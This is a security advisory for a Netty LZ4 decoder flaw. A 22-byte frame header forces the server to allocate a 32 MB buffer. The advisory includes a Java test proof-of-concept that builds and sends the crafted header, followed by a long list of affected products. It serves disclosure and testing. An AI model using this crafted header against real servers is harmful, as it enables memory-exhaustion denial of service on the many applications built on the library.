CVE-2026-42583

About vulnerability

Summary

Lz4FrameDecoder allocates a ByteBuf of size decompressedLength (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus compressedLength payload bytes - 22 bytes if compressedLength == 1 - to force that allocation.

Details

io.netty.handler.codec.compression.Lz4FrameDecoder#decode Header fields are trusted for sizing. On the compressed path, after readableBytes >= compressedLength, the decoder does ctx.alloc().buffer(decompressedLength, decompressedLength) then decompresses.

PoC

The test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB

@Test
void test() throws Exception {
EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
try {
AtomicReference<Throwable> serverError = new AtomicReference<>();
CountDownLatch latch = new CountDownLatch(1);

ServerBootstrap server = new ServerBootstrap()
.group(workerGroup)
.channel(NioServerSocketChannel.class)
.childHandler(new ChannelInitializer<SocketChannel>() {
@Override
protected void initChannel(SocketChannel ch) {
ch.pipeline()
.addLast(new Lz4FrameDecoder())
.addLast(new ChannelInboundHandlerAdapter() {
@Override
public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
if (cause instanceof DecoderException) {
serverError.set(cause.getCause());
} else {
serverError.set(cause);
}
latch.countDown();
}
});
}
});

ChannelFuture serverChannel = server.bind(0).sync();

Bootstrap client = new Bootstrap()
.group(workerGroup)
.channel(NioSocketChannel.class)
.handler(new ChannelInboundHandlerAdapter() {
@Override
public void channelActive(ChannelHandlerContext ctx) {
ByteBuf buf = ctx.alloc().buffer(22, 22);
buf.writeLong(MAGIC_NUMBER);
buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);
buf.writeIntLE(1);
buf.writeIntLE(1 << 25);
buf.writeIntLE(0);
buf.writeByte(0);

ctx.writeAndFlush(buf);

ctx.fireChannelActive();
}
});

ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();

assertTrue(latch.await(10, TimeUnit.SECONDS));

assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());

clientChannel.channel().close();
serverChannel.channel().close();
} finally {
workerGroup.shutdownGracefully();
}
}

Impact

Untrusted senders without per-channel / aggregate limits can stress memory with many small requests.

Affected product:

Apache CXF , Apache Hadoop , Apache Kafka , Apache Log4j , Apache Solr , Apache Spark , Eclipse Jetty , Netty , Spring , Wildfly , artemis , async-http-client , avro , aws-sdk-java , azure-sdk-for-java , bolt-connection-java , californium , camel , cassandra-java-driver , catalyst , corda , couchbase-jvm-clients , curator , docker-java , drill , elasticsearch , etcd4j , flink , flink-shaded , grpc-java , infinispan , java-driver , lettuce , logging-flume , milo , neo4j-java-driver , neo4j-ogm , netty , olingo-odata4 , pgjdbc-ng , pulsar , rabbitmq-stream-java-client , ribbon , rsocket-java , rxnetty , stack-core , tika , vert.x , wildfly , zendesk-java-client , zookeeper

Affected packages:

wildfly-transactions @ 27.0.1.Final (+9744 more)